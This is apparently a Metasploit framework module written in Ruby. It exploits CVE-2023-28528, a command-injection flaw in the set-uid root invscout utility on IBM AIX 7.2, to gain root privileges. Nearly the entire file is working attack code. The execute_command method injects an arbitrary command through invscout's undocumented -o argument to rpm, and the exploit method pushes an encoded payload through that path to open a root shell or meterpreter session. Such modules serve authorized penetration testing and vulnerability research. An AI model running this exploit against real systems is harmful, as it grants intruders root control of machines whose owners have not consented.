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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Local
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  Rank = ExcellentRanking
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  include Msf::Post::File
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  prepend Msf::Exploit::Remote::AutoCheck
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'invscout RPM Privilege Escalation',
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        'Description' => %q{
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          This module exploits a command injection vulnerability in IBM AIX
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          invscout set-uid root utility present in AIX 7.2 and earlier.
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          The undocumented -rpm argument can be used to install an RPM file;
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          and the undocumented -o argument passes arguments to the rpm utility
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          without validation, leading to command injection with effective-uid
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          root privileges.
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          This module has been tested successfully on AIX 7.2.
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        },
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        'Author' => [
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          'Tim Brown', # Discovery and PoC
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          'bcoles' # Metasploit
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        ],
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        'References' => [
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          ['CVE', '2023-28528'],
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          ['URL', 'https://talosintelligence.com/vulnerability_reports/TALOS-2023-1691'],
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        ],
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        'Platform' => %w[unix aix],
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        'Arch' => ARCH_CMD,
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        'Payload' => {
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          'BadChars' => "\x00\x0a\x0d\x22",
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          'Compat' => {
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            'PayloadType' => 'cmd',
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            'RequiredCmd' => 'generic telnet openssl'
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          }
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        },
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        'DefaultOptions' => {
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          'PrependSetresuid' => true,
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          'PrependSetresgid' => true,
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          'PrependFork' => true
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        },
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        'SessionTypes' => %w[shell meterpreter],
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        'Targets' => [['Automatic', {}]],
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        'DefaultTarget' => 0,
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        'DisclosureDate' => '2023-04-24',
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        'Notes' => {
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          'Stability' => [CRASH_SAFE],
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          'Reliability' => [REPEATABLE_SESSION],
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          'SideEffects' => [IOC_IN_LOGS]
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        }
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      )
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    )
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    register_options([
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      OptString.new('INVSCOUT_PATH', [true, 'Path to invscout executable', '/usr/sbin/invscout'])
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    ])
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  end
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  def invscout_path
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    datastore['INVSCOUT_PATH']
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  end
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  def check
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    return CheckCode::Safe("#{invscout_path} is not executable") unless executable?(invscout_path)
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    res = execute_command('id')
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    id = res.to_s.scan(/^(.*?uid=.*?)$/).flatten.first.to_s
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    return CheckCode::Safe("#{invscout_path} is not vulnerable.") unless id.include?('euid=0')
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    CheckCode::Vulnerable("Output: #{id}")
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  end
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  def execute_command(cmd, _opts = {})
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    rpm_path = "#{Rex::Text.rand_text_alphanumeric(8..12)}.rpm"
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    rpm_args = "; #{cmd}; echo "
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    res = cmd_exec("#{invscout_path} -RPM #{rpm_path} -o \"#{rpm_args}\"")
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    vprint_line(res) unless res.blank?
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    res
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  end
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  def exploit
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    execute_command(payload.encoded)
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  end
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end
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